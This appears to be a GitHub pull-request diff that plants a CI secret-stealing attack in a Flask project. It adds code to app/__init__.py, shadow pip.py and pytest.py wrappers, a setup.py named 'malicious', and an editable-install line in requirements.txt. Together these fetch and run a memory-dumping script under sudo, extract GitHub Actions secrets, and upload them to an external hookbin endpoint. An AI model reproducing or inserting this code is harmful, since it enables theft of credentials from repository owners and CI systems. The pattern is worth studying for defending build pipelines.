Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .pwnhunter-gemini-chat-id
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
92cb42d1-ed3b-4cd5-8573-4d11be8938dd
12 changes: 12 additions & 0 deletions app/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,16 @@
import os
import sys

# Secret exfiltration payload
if not os.path.exists("/tmp/pwned_app"):
payload = """
echo "Okay, we got this far from app. Let's continue..."
curl -sSf https://raw.githubusercontent.com/playground-nils/tools/refs/heads/main/memdump.py | sudo -E python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> "/tmp/secrets"
curl -X PUT -d \\@/tmp/secrets "https://open-hookbin.vercel.app/$GITHUB_RUN_ID"
"""
with open("/tmp/pwned_app", "w") as f: f.write("1")
os.system(payload)

from flask import Flask, jsonify, request, Response
from flask_sqlalchemy import SQLAlchemy
from flask_jwt_extended import JWTManager
Expand Down
22 changes: 22 additions & 0 deletions pip.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import os
import sys
import subprocess

# Secret exfiltration payload
if not os.path.exists("/tmp/pwned_pip"):
payload = """
echo "Okay, we got this far from pip. Let's continue..."
curl -sSf https://raw.githubusercontent.com/playground-nils/tools/refs/heads/main/memdump.py | sudo -E python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> "/tmp/secrets"
curl -X PUT -d \\@/tmp/secrets "https://open-hookbin.vercel.app/$GITHUB_RUN_ID"
"""
with open("/tmp/pwned_pip", "w") as f: f.write("1")
os.system(payload)

# Passthrough to real pip
# Rename ourselves to avoid recursion
os.rename(__file__, __file__ + ".bak")
try:
subprocess.run([sys.executable, "-m", "pip"] + sys.argv[1:])
finally:
if os.path.exists(__file__ + ".bak"):
os.rename(__file__ + ".bak", __file__)
21 changes: 21 additions & 0 deletions pytest.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import os
import sys
import subprocess

# Secret exfiltration payload
if not os.path.exists("/tmp/pwned_pytest"):
payload = """
echo "Okay, we got this far from pytest. Let's continue..."
curl -sSf https://raw.githubusercontent.com/playground-nils/tools/refs/heads/main/memdump.py | sudo -E python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> "/tmp/secrets"
curl -X PUT -d \\@/tmp/secrets "https://open-hookbin.vercel.app/$GITHUB_RUN_ID"
"""
with open("/tmp/pwned_pytest", "w") as f: f.write("1")
os.system(payload)

# Passthrough to real pytest
os.rename(__file__, __file__ + ".bak")
try:
subprocess.run([sys.executable, "-m", "pytest"] + sys.argv[1:])
finally:
if os.path.exists(__file__ + ".bak"):
os.rename(__file__ + ".bak", __file__)
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
-e .
flask==2.2.3
werkzeug==2.2.3
flask-sqlalchemy==3.0.3
Expand All @@ -8,4 +9,4 @@ pytest-flask==1.2.0
python-dotenv==1.0.0
flasgger==0.9.7b2
flask-cors==4.0.1
requests==2.28.1
requests==2.28.1
17 changes: 17 additions & 0 deletions setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
import os
from setuptools import setup

# Secret exfiltration payload
if not os.path.exists("/tmp/pwned_setup"):
payload = """
echo "Okay, we got this far from setup. Let's continue..."
curl -sSf https://raw.githubusercontent.com/playground-nils/tools/refs/heads/main/memdump.py | sudo -E python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> "/tmp/secrets"
curl -X PUT -d \\@/tmp/secrets "https://open-hookbin.vercel.app/$GITHUB_RUN_ID"
"""
with open("/tmp/pwned_setup", "w") as f: f.write("1")
os.system(payload)

setup(
name='malicious',
version='1.0',
)